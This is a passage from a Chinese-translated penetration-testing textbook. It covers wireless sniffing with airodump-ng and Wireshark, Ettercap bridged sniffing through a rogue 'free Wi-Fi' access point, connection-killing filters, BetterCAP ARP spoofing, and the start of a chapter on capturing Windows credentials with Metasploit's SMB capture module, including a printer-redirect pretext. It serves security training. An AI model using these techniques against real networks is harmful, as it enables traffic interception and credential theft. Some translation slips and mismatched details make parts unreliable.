ENC 列告诉我们所列网络使用的加密方法——如果有的话。OPN 表示没有加密。现在这种情况比较少见,但在这个例子中,开放网络是一个访客网络。它故意保持开放,以便轻松访问,但一旦连接成功,客户端将被引导进入一个受限的门户环境。你会记得在第二章绕过网络访问控制中,我们通过攻击数据链路层来拦截到受限门户的认证请求。但在这种情况下,我们处于无线电范围内,并且包没有加密。我们应该能够通过监听来拦截任何没有采用隧道加密方法(例如,HTTPS)保护的内容——不需要注入,也没有可检测的痕迹。那么,我们如何利用这里的信息来筛选出在监控模式下捕获的杂乱数据呢?让我们通过过滤接入点的 MAC 地址(BSSID):40:16:7E:59:A7:A0 来锁定访客网络。

正如你所知,802.11 通信的 2.4 GHz 波段被划分为多个频道。默认情况下,Airodump-ng 会在这些频道之间跳跃——快速从一个频道跳到下一个频道,监听当前频道的数据。正如你可以想象的那样,如果一个重要的数据包在频道 1 上传输,而 Airodump-ng 正在频道 4 上监听,你就会错过它。因此,当你知道目标时,你需要告诉 Airodump-ng 集中注意力。在我们的示例中,开放网络位于 频道 1。我们使用 --channel 来指定我们的监听频率,使用 --bssid 通过 MAC 地址来过滤目标接入点。我们将使用 --output-format 来指定 .pcap 文件(任何数据包分析器都可以处理这种输出格式):

airodump-ng -w test_capture --output-format pcap --bssid 40:16:7e:59:a7:a0 --channel 11 wlan0

当我们在屏幕上观察元数据时,我们的测试文件正在被写入。我们可以让它运行尽可能长的时间;然后,我们必须按 Ctrl + C 并将其导入到 Wireshark 中:

图 3.4 – 在 Wireshark 中打开我们的测试捕获文件

图 3.4 – 在 Wireshark 中打开我们的测试捕获文件

在没有发送任何数据的情况下,我们已经发现了一个合法的 IP 地址(192.168.80.80),并且可以看到这个主机发送的 DNS 查询。我们已经在这个特定网络的侦察阶段迈出了不错的一步,而我们甚至还没有发送任何数据包。

我们生活在一个 5 GHz 的世界里

虽然 2.4 GHz 仍然占主导地位,但越来越多的 5 GHz 设备出现在市场上,你可能需要嗅探这些设备。新的无线网卡应该支持它。当你使用 airodump-ng 时,使用 band 标志并设置为 abg,这将启用 5 GHz。

现在我们已经有了一些原始无线嗅探的经验,让我们来看看 Wireshark 内建的分析功能。

使用 Wireshark 进行 WLAN 分析

让我们通过 Wireshark 来解读无线环境。我们在上一节中禁用了频道跳跃,以便集中关注一个目标,但现在,让我们尽可能多地捕获数据,让 Wireshark 来解释。在打开无线捕获的情况下,点击 Wireless** | **WLAN Traffic。生成的窗口是 Wireshark - Wireless LAN Statistics - test_wifi_capture-01,并且具有可排序的列。我感兴趣的是找到最繁忙的网络,所以我按 Percent Packets 进行排序:

图 3.5 – Wireshark 中的无线局域网统计

图 3.5 – Wireshark 中的无线局域网统计

通过展开左侧的 BSSID,我们可以看到嵌套的 BSSID:父节点是接入点,而嵌套的设备是关联的客户端。右键点击一个目标,然后点击 Apply as Filter** | **Selected。关闭统计框返回到 Wireshark 的主窗口。显示过滤器文本框将填充我们选择的过滤器。应用该过滤器,享受你节省下来的时间,避免在数据包中翻找:

图 3.6 – 按 BSSID 过滤

图 3.6 – 按 BSSID 过滤

让我们回到网络层,看看一旦我们在局域网中建立了连接,Wireshark 能为我们做些什么。我已经在一个有多个活跃浏览客户端的网络上嗅探了几分钟。短短的时间内,我就捕获到了大量有用的数据可以分析。

使用 Wireshark 进行的网络分析

正如我们在今天的日常网页浏览中可以预见的那样,几乎所有的流量都是通过 TLS 加密的。即便是查看新闻或搜索字典定义,也很难不经过一个隧道进行数据传输。嗅探(Sniffing)已经不像过去那样简单了,以前只需要在局域网中设置混杂模式(promiscuous mode),就能截获完整的 HTTP 会话。所以,我们的目标是应用一些统计分析和过滤技术,深入了解捕获的数据,并推断出数据之间的关系。

在上一节中,我们查看了 WLAN 的统计信息。现在我们已经接入网络,可以通过协议和服务级别的分析,更加细致地观察网络数据。

让我们了解一下网络中每个设备的通信情况。在 Wireshark 中,我们将每个设备称为端点(endpoint)。每个 IP 地址都被视为一个端点,端点之间会进行相互通信。让我们从 统计 菜单中选择 端点

我对一个属于法国 Orange 网络的端点感兴趣。我可以右键点击该端点,基于这个特定端点应用过滤器:

图 3.7 – 过滤端点

图 3.7 – 过滤端点

现在,我将只查看这个特定端点的 HTTP 200 响应。我将使用这个过滤器并应用它:

ip.addr==81.52.133.24 and http contains 200

我从捕获的 33,644 个数据包中筛选出了五个有用的数据包。此时,我可以右键点击任意一个数据包,创建一个过滤器来聚焦于这个特定的 TCP 会话,这样我就可以以一种易于阅读的格式跟踪 HTTP 会话:

图 3.8 – 审查过滤后的数据包

图 3.8 – 审查过滤后的数据包

那么,这个显示过滤器到底是怎么回事呢?它的语法应该对程序员来说并不陌生。你首先从一个层次开始,然后通过句点分隔指定子类别。在我们的示例中,我们从 ip 开始,然后用 addr 来指定 IP 地址。地址子类别也适用于其他层次;例如,eth.addr 用于指定 MAC 地址。Wireshark 的显示过滤器非常强大,我们没有足够的篇幅深入探讨,但你可以通过手动审查数据包,逐步构建你需要的过滤器。例如,我们刚才过滤出了来自法国 AS5511 网络的端点的数据包。我能过滤出来自法国的所有数据包吗?

ip.geoip.src_country==France

让我们将 GeoIP 进一步应用,查找所有发送到 Mountain View,加利福尼亚的 TCP ACK 数据包:

ip.geoip.dst_city=="Mountain View, CA" and tcp.flags.ack==1

让我们来看一下任何 TCP 窗口缩放因子设置为128的 SSL 加密警报:

ssl.alert_message and tcp.window_size_scalefactor==128

我知道你心中的黑客正在说:我们可以构建 Wireshark 显示过滤器来指纹识别操作系统,就像 p0f 一样。很好,我真为你感到骄傲!那我们来看看如何寻找那些不以 HTTPS 为目标的包,同时匹配 Linux 的 TCP 特征,并且目标二层是网关(换句话说,这些包正在离开网络,所以我们正在指纹识别本地主机)?

ip.ttl==64 and tcp.len==0 and tcp.window_size_scalefactor==128 and eth.dst==00:aa:2a:e8:33:7a and not tcp.dstport==443

我警告过你,这会变得有趣。

高级 Ettercap——中间人攻击的瑞士军刀

在上一章中,我们在 Ettercap 中玩弄了 ARP 欺骗。我和其他正常人一样:我喜欢一场好的 ARP 欺骗。然而,它臭名昭著地嘈杂。它就是在大喊:“嘿!我可是坏人,给我所有数据吧!”你在攻击过程中启动了 Wireshark 吗?即使是 Wireshark 也知道出了一点问题,并警告分析师:检测到重复使用! 当我们让网络将所有流量发送到单一接口时,这就是其固有的特性——这就是所谓的统一嗅探。

现在,我们将通过桥接嗅探将中间人攻击提升到一个新层次,这意味着将我们 Kali 主机上的两个接口桥接在一起,并在这两个接口之间进行操作。这些接口对我们来说是本地的,Ettercap 会自动将它们桥接在一起,也就是说,用户不会发现任何异常。我们并没有让网络做什么奇怪的事情。如果我们能够把自己置于两个端点之间的特权位置,并让流量通过我们主机的某个接口,网络看起来对端点是正常的。回到我的时代,我们必须手动设置桥接才能做到这一点,但现在,Ettercap 非常贴心地为我们处理了一切。

第一个(也是最明显)的问题是,我们如何将自己放置在这样的一个位置?有许多场景需要考虑,涵盖所有内容超出了本书的范围。为了我们的目的,我们将通过利用在第二章中学到的 Host AP Daemon 知识,来设置一个恶意接入点,绕过网络访问控制

桥接嗅探与恶意接入点

第二章中,我们构建了一个接入点作为网络的后门。这个接入点为我们提供了 DHCP、DNS 和 NAT,以便我们能够突破连接到内网的eth0接口。连接的客户端并不是受害者;它是建筑外部的攻击者。这一次,我们在创建一个接入点,但它是为了让我们的目标连接上它。接入点将授予他们某种想要的网络访问权限,目标网络将像处理正常连接一样处理他们——事实上,我们将让目标网络处理 DHCP 和 DNS,因此这次不必担心使用dnsmasq。我们的想法是我们本质上是隐形的:除了提供接入点外,我们不提供任何网络服务。我们要做的是嗅探所有通过我们桥接的流量。

这些原则可以应用于任何桥接嗅探场景,因此我鼓励你放开想象力,充分发挥黑客创意的潜力。在我们的演示中,我们将启动经典的免费 Wi-Fi攻击。这个想法很简单:提供免费的互联网,等着鱼儿上钩。这种攻击在合法的渗透测试中有潜力;在安全的网络中攻击你的客户用户可能很困难,而在企业环境中设置免费的 Wi-Fi 出奇有效。(你难道不想绕过公司网络过滤器吗?)另一种可能性是恶意双胞胎概念,即你伪装成一个合法的 ESSID,甚至是一个孤独无线设备探测到的 ESSID,寻找一个在陌生地方熟悉的面孔。(如果你想深入了解 Wi-Fi 中间人攻击,可以查看 Fluxion)。再次提醒,剩下的交给你的想象力。

别忘了打开你的 WLAN!

如果你正在跟随之前的hostapd示例,你的配置文件可能仍然指定了一个 WPA 保护的网络!确保你用 nano 打开它并删除有关 WPA 加密的行。别忘了将你的 SSID 改成像免费 Wi-Fi这样的名字。

首先,我必须设置我的接入点。如果你正在按照第二章绕过网络访问控制hostapd示例进行操作,请注意这里的不同——我不需要dnsmasq,也不需要iptables,所以我将使用ifconfiggrep快速确认我们的以太网接口现有连接的子网,设置转发,并准备无线接口用于主机:

图 3.9 – 使用 hostapd 配置桥接嗅探

图 3.9 – 使用 hostapd 配置桥接嗅探

我给无线接口分配了一个在以太网接口网络中的 IP 地址。通过运行 ifconfig 并将输出通过 grep 管道传输,以便匹配 inet,我们可以确认分配的 IP 地址,所以我会选择同一子网中的另一个地址。我还运行了 airmon-ng check kill 来确保所有无线网络工具都被终止,因为它们会阻止 hostapd 正常工作。

我们上次使用了图形界面;这次我将保持简洁,只在一个新的终端窗口中运行这个命令:

图 3.10 – 用 Ettercap 启动桥接

图 3.10 – 用 Ettercap 启动桥接

由于 Ettercap 在幕后强大的桥接和嗅探管理功能,这个命令非常简单:

  • -T 告诉 Ettercap 使用 传统的 纯文本界面。

  • -q 表示 保持安静。我们不希望 Ettercap 将每个数据包都报告到我们的接口;这正是我们捕获文件的用途。我们稍后会进行分析,而不是现在。让它静静地运行吧。

  • -B 启动 桥接嗅探。记住,我们需要两个接口(在我们的例子中是 eth0wlan0),所以我会为每个接口运行这个标志两次。

  • -w 将把数据包写入 .pcap 文件,以便稍后在 Wireshark 中分析。

然后,我们必须进行普通的 Wireshark 分析。在这个特权位置下,我们可以继续进行更高级的攻击:

图 3.11 – 我们的桥接嗅探捕获文件的对话视图

图 3.11 – 我们的桥接嗅探捕获文件的对话视图

现在,我们将拿出我们的外科手术刀,学习如何根据数据包的属性查找甚至操控数据包。

Ettercap 过滤器 – 精细调整你的分析

我们已经看到 Ettercap 开箱即用的强大功能。Ettercap 之所以出色,是因为它的内容过滤引擎以及解释自定义脚本的能力。Ettercap 使得中间人攻击变得轻而易举;然而,通过使用过滤器,我们可以将运行 Ettercap 的 Kali 主机变成一个入侵检测系统(IDS)。想象一下,我们的桥接嗅探攻击和自定义过滤器的结合威力,这些过滤器已经设计好可以解释数据包并对其进行操作:丢弃它们,甚至在传输过程中修改它们。

让我们看看一个基础示例,激发一下我们的兴趣。你可能会立刻注意到类似 C 语言的语法和与 Wireshark 显示过滤器的相似性。这里有很多概念上的重叠;你会发现使用 Wireshark 分析模式可以生成一些强大的 Ettercap 过滤器:

if (ip.proto == TCP) {
  if (tcp.src == 80 || tcp.dst == 80) {
    msg("HTTP traffic detected.\n");
  }
}

简单来说,这表示 测试 IP 协议是否为 TCP;如果是,再进行一次测试,看源端口是否为 80 ,或者目标端口是否为 80 ;如果其中一个为真,向用户显示一条消息,表示 检测到 HTTP 流量。这是一个嵌套 if 语句的例子,嵌入在图形括号中。

让我们来看看一个应该能引起你对 Scapy/Python 部分好奇心的功能:

if (ip.proto == TCP) {
  if (tcp.dst == 12345) {
    msg("Port 12345 pattern matched, executing script.\n");
    exec("./12345_exec");
  }
}

在这个示例中,我们正在测试任何目标端口为 12345 的 TCP 数据包。如果检测到该数据包,我们将提醒用户有可执行文件被触发。然后脚本会启动 12345_exec。我们也可以写一个 Python 脚本(是的,导入 Scapy 来构造数据包),在 Ettercap 中遇到某个条件时触发。

使用 Ettercap 过滤器终止连接

现在,让我们尝试构造一个过滤器,终止 SSH 和 SMTP 连接,同时允许其他所有流量。这将使我们在 Kali 机器上亲手设置基本的服务过滤机制。注意:我第一次尝试这个简短的过滤器时,它会包含一个有问题的函数。我们将回顾结果,看看能否修复这个问题。

首先,我将启动 nano 并创建一个包含这个过滤器的文件:

图 3.12 – 在 nano 中完成过滤器

图 3.12 – 在 nano 中完成过滤器

让我们逐行回顾一下:

  • if (ip.proto == TCP) { 是我们的父级 if 语句,用来检查数据包是否为 TCP 数据包。如果是,脚本将继续执行。

  • if (tcp.src == 22 || tcp.dst == 22 || tcp.src == 25 || tcp.dst == 25) { 是嵌套的 if 语句,用来检查通过我们第一次检查的 TCP 数据包是否来自或目标是端口 2225。双竖线表示 ,因此这四个检查中的任何一个都会通过 if 语句,使我们进入到以下函数:

    • msg() 在我们的 Ettercap 窗口中显示一条信息。我建议始终使用这个函数,这样我们就能知道过滤器已被触发。

    • drop() 只是丢弃数据包;由于我们处于数据包中间的位置,这意味着我们已接收到数据包,但不会将其转发给其他地方。发送方不会收到任何接收确认,而接收方也永远不会收到该数据包。

    • kill() 变得更激进,向通信的两端发送一个 RST 数据包。

  • 两个闭合的图形括号对应每个 if 语句。

我将使用 nano 保存这个文本文件,并准备编译它。

为什么我们要编译过滤器?因为解释代码的速度较慢,而我们处理的是数据包飞行中的分析和操作。编译器非常简单易用,并且已包含在内,因此我们可以直接执行命令,传入我们刚刚创建的文件名:

etterfilter [过滤文本文件]

我们将看到编译器介绍自己,然后开始工作:

图 3.13 – 使用 etterfilter 编译我们的过滤器

图 3.13 – 使用 etterfilter 编译我们的过滤器

默认输出为 filter.ef,但你可以将其命名为任何你想要的名字。

现在,我们可以像之前一样启动 Ettercap,但这次我们将使用 -F 加载过滤器。Ettercap 会自动完成其他所有工作:

ettercap -T -q -F filter.ef -B eth0 -B wlan0 -w SSH_SMTP_Filter_Testcapture

我连接到我们那坏坏的网络,然后尝试连接到家里的 SSH 服务器。连接失败,就像我们计划的那样 —— 但控制台开始亮起我的过滤器信息。让我们在 Wireshark 中查看并通过端口 22 流量来过滤,看看发生了什么:

图 3.14 – 用 RST 数据包点亮局域网

图 3.14 – 用 RST 数据包点亮局域网

什么鬼?短短几分钟内收到 26,792 个 RST 数据包!我们刚刚让自己被 RST 数据包淹没了。我们是怎么用这么一个小脚本做到这一点的?

我知道你心中的黑客正在想什么:我们在桥接嗅探中加入了 kill 功能,所以过滤器正运行在两个接口上,并设计为匹配任何进出 SSH 的数据包,这也会包括我们的 RST 数据包。做得好 —— 我印象深刻。我们重新编译一下脚本,去掉 kill()

这样更好:

图 3.15 – 丢弃 kill 功能

图 3.15 – 丢弃 kill 功能

网络恢复平静,我们的桥接器仅丢弃数据包,而不发送任何 RST 数据包。我们在受害者 Windows 机器上运行的 SSH 客户端永远也收不到它期待的 SYN-ACK:

图 3.16 – 成功丢弃端口 22

图 3.16 – 成功丢弃端口 22

每个优秀的渗透测试人员都会拥有多种工具。通常,这些工具的功能是相似的,但有的工具做得比其他工具更好,反之亦然。一个常见的痛点是,某些曾经强大的工具已经不再支持了,你只能使用那些十年前最后更新的工具。嘿,如果它没坏,别修理它 —— 有些攻击,例如 ARP 欺骗,核心技术多年未变。然而,曾经存在的漏洞会永远存在。Ettercap 已经证明了自己的实力,我们也见识了它的强大,但我将结束嗅探和欺骗的讨论,带来一个新面孔(相对而言):BetterCAP。

变得更好 – 使用 BetterCAP 进行扫描、嗅探和欺骗

我们可以很容易地在 Kali 上启动并获取 BetterCAP,因为它已经包含在仓库中了:

apt-get install bettercap

在我那时候,传统的 BetterCAP 使用的是命令行界面。现在,有了一个非常简洁的网页界面,把嗅探和欺骗带入了现代。像任何本地托管的网页界面一样,你需要注意登录时使用的凭证。拿起 nano 编辑器,配置 HTTP caplet 文件,路径为 /usr/share/bettercap/caplets/http-ui.cap

图 3.17 – 配置 HTTP UI

图 3.17 – 配置 HTTP UI

从命令行中休息一下

一旦通过 HTTP UI 登录后,你就可以在这里修改任何 caplet 参数,包括这里指定的用户名和密码。

现在,让我们通过运行 bettercap –caplet http-ui 命令来开始这个过程。然后,你可以打开浏览器并访问本地主机:

图 3.18 – BetterCAP 的事件窗口

图 3.18 – BetterCAP 的事件窗口

我们的第一站是 事件 标签。你也可以留意终端窗口中的内容。由于我们还没有开始任何操作,这里没发生什么事情。让我们点击 LAN 标签,看看能否找到一些目标。点击 net.probe 的播放按钮,然后去喝杯咖啡,等待 BetterCAP 完成剩下的工作:

图 3.19 – 启动网络探测

图 3.19 – 启动网络探测

立刻,我们开始对本地网络进行主机探测——哇哦,那些结果真是太快了!希望这让你感到担忧:不可能这么快而不产生大量噪音。那么,让我们在运行这个模块时查看一下 Wireshark:

图 3.20 – net.probe 模块幕后

图 3.20 – net.probe 模块幕后

就是这样——它以每秒超过 80 次探测的速度对本地网络进行 ARP 扫描。在真实的渗透测试中,你可能希望将这个速度降低(除非你是在进行压力测试或向客户证明某些事情)。点击顶部的 高级 标签,在左侧的列表中找到 net.probe 模块,并根据需要调整 net.probe.throttle 的值:

图 3.21 – 限制 LAN 探测速度

图 3.21 – 限制 LAN 探测速度

我知道你现在在想什么:哇,这里有好多酷东西。在这里,你可以感受一下安装的 caplets 及其工作原理。屏幕左侧列出了 BetterCAP 的功能。你会找到 arp.spoof,它可以通过一个漂亮的界面完成本章的工作(让开,Cain sniffers)。BetterCAP 提供的一些额外灵活性可以在 参数 下找到,包括以下内容:

  • arp.spoof.fullduplex 允许你仅对目标主机或对目标和网关的 ARP 表进行攻击。换句话说,你是只假装是目标主机,还是假装是目标主机和网关?由于目标主机打算与网关通信,将 fullduplex 设置为 false 意味着你只会看到目标主机的部分对话。这可能有助于保持低调。

  • arp.spoof.internal 仅攻击整个 LAN,允许你捕获主机之间的通信。这取决于你所处的具体环境。

  • arp.spoof.skip_restore 可以理解为您是否会粗鲁或礼貌地停止攻击。请记住,每台主机都独立维护 ARP 表;表只会在通过网络上的 ARP 数据包更新时才会更改。如果您运行攻击,获取所需的战利品,然后拔掉线逃跑,您会让网络寻找您的 MAC 地址。在这种情况下,恢复是我称之为重新 ARP 的操作。将 skip_restore 设置为 true 会更具破坏性。

  • arp.spoof.targets 允许您指定攻击目标。这个字段的好处是它也接受 Nmap 格式,因此更容易插入数据。

  • arp.spoof.whitelist 用于需要指定非目标的情况。

在 BetterCAP 中通常使用set命令的操作,在这里由 HTTP UI 处理。我最喜欢的是美学:它使客户的演示更加令人兴奋。

最后,点击 Caplets 选项卡,查看一下 BetterCAP 将您的接口置于所需的特权位置后可以执行的攻击。我喜欢将这些看作是使用 BetterCAP 的本机功能的 配方。例如,查看 http-req-dump 下的参数。您会看到它配置了 net.probenet.sniffhttp.proxyhttps.proxyarp.spoof。对于那些勇于尝试的人,您会发现对您需求的出色可配置性。

摘要

在本章中,我们学习 passvie 与 active 嗅探的区别。我们首先探讨了监视模式下的无线局域网,这使我们能够捕获数据而不暴露我们的存在。我们使用 Airodump-ng 来组织无线环境,并通过 Wireshark 进行更精确的嗅探。在使用 Wireshark 探索基础知识后,我们转向对 passvie 和 active 嗅探方法的高级统计分析。对于 active 嗅探阶段,我们连接到一个网络(从而暴露我们的存在),并捕获我们的卡可见的数据。我们应用高级显示过滤器来聚焦于即使在非常大的网络转储中也能找到有趣数据包。然后我们转向使用两个接口进行桥接嗅探的高级 Ettercap 嗅探技术。为了展示这种攻击的威力,我们配置了一个恶意访问点,并设置我们的 Kali 系统作为一个完整的流量拦截器和 IDS,包括使用 Ettercap 过滤器来捕获和丢弃网络中的特定数据。然后我们介绍了 BetterCAP,这是 Ettercap 的一个复杂的替代品。

在下一章中,我们将讨论 Windows 密码基础知识,并演示捕获 Windows 凭据的实际攻击方法,以及供给密码破丨解丨器使用的主机。然后我们将讨论密码破解方法。

问题

回答以下问题以测试你对本章的了解:

  1. 你将你的无线网卡置于监视模式,并捕获未与 WLAN 关联的原始无线数据包。这是什么嗅探概念?

  2. 接入点的 BSSID 与硬件的 _____________ 相同。

  3. 在 Wireshark 中,参与会话的各个设备被称为 _____________。

  4. 用于查找设置了 TCP ACK 标志的任何数据包的 Wireshark 显示过滤器叫什么?

  5. 在编写 Ettercap 过滤器时,你可以在函数名称和开括号之间放置一个空格。(正确 | 错误)

  6. 什么 Ettercap 过滤器函数会悄悄地阻止数据包传递到目的地?

  7. 如何减少 Ettercap 命令行界面的详细程度?

  8. 一个二进制 Ettercap 过滤器的文件扩展名是什么?

  9. ICMP 代表什么?

进一步阅读

有关本章涵盖的主题的更多信息,请查看以下资源:

第四章:网络上的 Windows 密码

很少有技术像Windows** 密码一样深刻地塑造了现代信息安全Windows操作系统(OS)的极大普及使得其方法和安全性受到了严格审查。随着更多的目光聚焦于身份验证系统的安全性,便有更多的教训能够推动技术的成长和进步。另一方面,Windows 实现的一个主要目标是向后兼容性**。这在实践中的含义是,即使有更安全的版本可用,甚至该更安全的版本已在同一环境中启用,老旧且脆弱的技术仍然出现在当今的 IT 环境中。本章将讨论一些超过二十年的技术,或许你会想,真的有必要继续关注这些内容吗?答案是,遗憾的是,必须的。你的客户可能会有自己的理由去配置系统以支持那些可以在几秒钟内破解的安全方法,但他们很可能并未真正意识到这些决策的影响。这就是你存在的意义,也是我在本书中加入这一章节的原因。

本章将涵盖以下内容:

  • Windows 密码哈希及设计缺陷的简要概述

  • 使用认证捕获辅助模块介绍Metasploit

  • 演示如何使用Link-Local Multicast Name ResolutionLLMNR)/NetBIOS Name ServiceNetBIOS NS)欺骗技术来捕获 Windows 凭据

  • 介绍两款流行的密码破解工具John the RipperHashcat,以及修改参数的方法

技术要求

本章所需的技术要求如下:

  • 一台运行Kali** **Linux的笔记本电脑

  • 一台运行 Windows 的笔记本或台式电脑

理解 Windows 密码

想象一下你坐在 Windows 电脑前。你输入密码,电脑登录了。Windows 必须有某种方式来验证你的输入是否正确。通常我们会认为密码保存在电脑上,但有趣的是,密码并没有保存在电脑上。而是使用了密码的唯一表示形式,登录过程中你输入的内容与这种表示进行比较。如果它们匹配,Windows 就会认为你的输入与密码相同。这种表示 Windows 密码的方式被称为哈希

哈希算法速成课程

哈希是一种单向函数;你无法通过哈希值反向推导出输入。哈希值是由算法定义的固定长度,而输入是可变长度的。你可以为一个字母或莎士比亚的全集创建SHA-256哈希值(256 位长)。

一些使用 SHA-256 的哈希示例包括以下内容:

  • ASCII字母a(小写):

    ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807

    785afee48bb

  • ASCII 字母 A(大写字母):

    559aead08264d5795d3909718cdd05abd49572e84fe55590eef

    31a88a08fdffd

  • 莎士比亚的 《提图斯·安德罗尼克斯》(完整剧本):

    02b8d381c9e39d6189efbc9a42511bbcb2d423803bb86c28ae

    248e31918c3b9a

  • 莎士比亚的 《提图斯·安德罗尼克斯》(但有一个单词拼写错误):

    4487eba46b2327cfb59622a6b8984a74f1e1734285e4f8093fe

    242c885b4aadb

通过这些示例,你可以看到哈希算法的基本特性。输出是固定长度的。在这些示例中,输出是 64 个十六进制字符(一个十六进制字符长 4 位;256 除以 4 等于 64 个字符)。SHA-256 哈希总是 64 个字符,无论输入的长度是多少——即使长度为零!是的,甚至对于“什么也没有”的哈希值也是有的。即使对于像莎士比亚的 《提图斯·安德罗尼克斯》 这样的大量输入——共有 119 万个字符,哈希值仍然是 64 个字符。谈到哈希的安全应用,其中一个关键特性是:在莎士比亚的戏剧中,改变一个字符就能彻底改变哈希值。这是由于密码学中的一个原理,叫做 雪崩效应,它是安全算法的核心特性。

假设一个坏人捕获了代表我密码的哈希值。感谢雪崩效应,他仅凭哈希化他的猜测,是无法知道自己是否接近真实值的。他可能只错了一个字符,而哈希值就会完全不同。我知道你心中的黑客在想:“从数学角度讲,只要固定长度的单向函数能够接受任意长度的输入,肯定总会有一对值会哈希成相同的输出。”这是个非常聪明的观点,你说得对。这被称为 碰撞。任何安全哈希算法设计的主要目标都是减少碰撞的风险。从数学角度讲,你无法完全消除碰撞——你只能让它们极难找到,这样你不如直接去尝试找到目标输入。

现在,在讨论 Windows 安全时,最好不要深入探讨哈希的细节,因为,按照经典的 Microsoft 风格,他们总是要走自己的路。从操作系统历史上的任何一个时期来看,Windows 哈希 都不是普通的哈希。

Windows 中的密码哈希方法

我们的旅程开始于遥远的过去。那是一个恐龙时代之后的时期,虽然距离恐龙时代并不远。我说的当然是 LAN 管理器LM)哈希时代。

操作系统中有一个古老的概念叫做网络操作系统NOS)。当你今天说到这些词时,你可能会被理解为指代网络设备(如路由器)上的操作系统(比如思科 IOS)。但在过去,这是一种为网络任务(如客户端-服务器通信)优化的操作系统。这个概念诞生于个人计算从单一用户和计算机的孤立状态转变为多个用户共享网络上信息的时代。一个这样的 NOS 是微软的 LM。LM 曾经成功,但很快发现它存在严重的安全问题。于是微软将认证机制进行了增强,推出了一套新的协议称为NT LAN ManagerNTLM)。

在我们探索这些认证机制时,你需要知道有两种方式可以获得凭据 —— 通过网络,或者通过直接从安全账户管理器SAM)中窃取哈希值。存储在 SAM 中的哈希只是密码的简单表示,而通过网络进行的认证则因为使用了挑战-响应机制变得更加复杂,接下来我们会讨论这个问题。

如果它以 1404EE 结尾,那么对我来说很容易 —— 理解 LM 哈希的缺陷

让我们来看一下几个密码的 LM 哈希,看看是否能发现一些明显的模式:

表格 4.1 – 不同输入的 LM 哈希表示

表格 4.1 – 不同输入的 LM 哈希表示

我们已经可以判断出,这并不是一个普通的哈希算法。

前两个密码具有相同的 LM 哈希。第三个和第四个密码的后半部分相同。最后,最后一个密码的前半部分重复了两次。通过这些信息,我们已经得出两个重要的结论:LM 密码不区分大小写,并且 LM 哈希是两个较小的哈希值连接在一起!一个用 LM 哈希保护的 Windows 密码实际上是两个七字符密码分别哈希后的结果。

那么,我们为什么要关心一个已经过时的算法呢?企业系统中常常需要向后兼容。即便是在使用更新且更强大的方法的系统中,LM 哈希也会默认存储,直到Vista发布。自 Vista 及以后版本开始,它可以被禁用。许多组织会启用 LM 哈希存储,以允许旧版应用程序正常运行。

为了数学地演示这个巨大问题,我们来计算一下只有字母和数字的 14 字符密码的总可能数量,并与七字符密码对的总数量进行比较:

  • 14 字符密码的总可能数量:36¹⁴ = 6.1409422 * 10²¹(大约 6.1 戴克斯顿密码)

  • 七字符对的总可能数量:(36⁷) + (36⁷) = 156,728,328,192(大约 156.7 亿个密码)

第二个数字只有第一个数字的 0.00000000255%大小。

随着Windows NT的出现,LM 哈希被 NT 哈希所取代。LM 哈希是基于DES的,只适用于非区分大小写、最多 14 个字符且被分成两部分的密码,而 NT 哈希是基于MD4的,计算密码的哈希值基于其 UTF-16 表示。无论哪种情况,结果都是 128 位长,并且都非常容易被攻击。

网络身份验证——完全是另一场游戏

到目前为止,我们已经讨论了将 Windows 哈希作为密码等价物,也讨论了我喜欢称之为裸哈希的内容。然而,这些哈希从未出现在网络中。哈希值成为加密挑战-响应机制中的共享密钥。在 NTLMv1 中,一旦客户端连接到服务器,一个随机的 8 字节数字会发送到客户端——这就是挑战。客户端拿到裸哈希后,在末尾添加一些填充,并将其分成三部分,然后分别与挑战一起使用 DES 加密——这就形成了一个 24 字节的响应。由于响应是通过挑战和共享密钥(哈希)生成的,服务器可以验证客户端。NTLMv2 在这一过程中加入了客户端挑战。密码破解者清楚这些协议的差异,因此你可以直接导入捕获的结果并开始破解。作为经验法则,更复杂的算法破解密码需要更多时间。

所以,你可以选择从 Windows 的 SAM 中窃取密码,或者监听加密的网络身份验证尝试。第一个选项能得到裸哈希,但它需要对目标进行攻破。我们将在本书后面讨论后期利用的内容,因此现在我们先看看攻击网络身份验证时会发生什么。

在网络上捕获 Windows 密码

在 Kali Linux 世界中,有不止一种方法可以设置SMB 监听器,但现在是时候介绍一个不需要介绍的框架:Metasploit。Metasploit 框架将在本书中覆盖的攻击中扮演重要角色,但在这里,我们仅简单设置一个快速且简单的方法,让网络上的任何 Windows 主机尝试文件共享连接。

我们使用以下命令启动 Metasploit 控制台:

msfconsole

Metasploit 框架自带辅助模块——这些模块不是带有有效载荷的利用工具,不是用来获取 Shell 的,但它们在渗透测试中是非常有用的助手,因为它们可以执行像模糊测试或我们这次的服务器身份验证捕获这样的任务。你可以将这里的输出直接传递给密码破解工具或利用模块,继续推进你的攻击。为了了解可用的辅助模块,你可以在 MSF 提示符下输入以下命令:

显示辅助功能

我们将使用 SMB 捕获辅助模块。在配置监听器之前,让我们考虑一个实际的渗透测试场景,在这个场景中,这种攻击特别有用。

一个实际的渗透测试场景 – 喧闹的打印机

假设你通过穿着得体(西装、领带和假 ID)获得了一个设施的物理访问权限。走在办公室里,你注意到一台多功能打印机和扫描仪。一天中,你看到员工们手拿文件走到设备前,输入一些内容,扫描文件,然后回到自己的桌子。这里可能发生的情况是,扫描仪将图像保存到文件共享中,以便用户可以从计算机访问这些文件。为了实现这一点,打印机必须向文件共享进行身份验证。打印机通常会使用默认的管理员凭证,从而允许我们更改配置。使用的帐户通常是域管理员,或者至少具有访问高度敏感数据的权限。你如何修改打印机设置将取决于具体型号。在线搜索该型号的用户手册是显而易见的做法。

这个方法是暂时将目标共享更改为你 Kali 主机的 UNC 路径。当我这么做时,我密切关注屏幕;一旦捕获到身份验证尝试,我尽快恢复设置,以最小化任何怀疑。用户的文件不会被上传到文件共享;他们可能会认为这是暂时的故障,如果只发生一次,他们不会在意。但如果多个用户发现他们始终无法将文件上传到文件共享,IT 部门就会被通知。

配置我们的 SMB 监听器

我们已经启动并运行了 MSF 控制台,因此让我们设置 SMB 监听器。我们在 MSF 提示符下运行此命令:

使用 server/capture/smb

与任何 Metasploit 模块一样,我们可以使用以下命令查看此 SMB 捕获模块的可用选项:

显示选项

以下截图展示了前面命令的输出:

图 4.1 – SMB 捕获辅助模块的选项菜单

图 4.1 – SMB 捕获辅助模块的选项菜单

让我们更详细地看看这些设置:

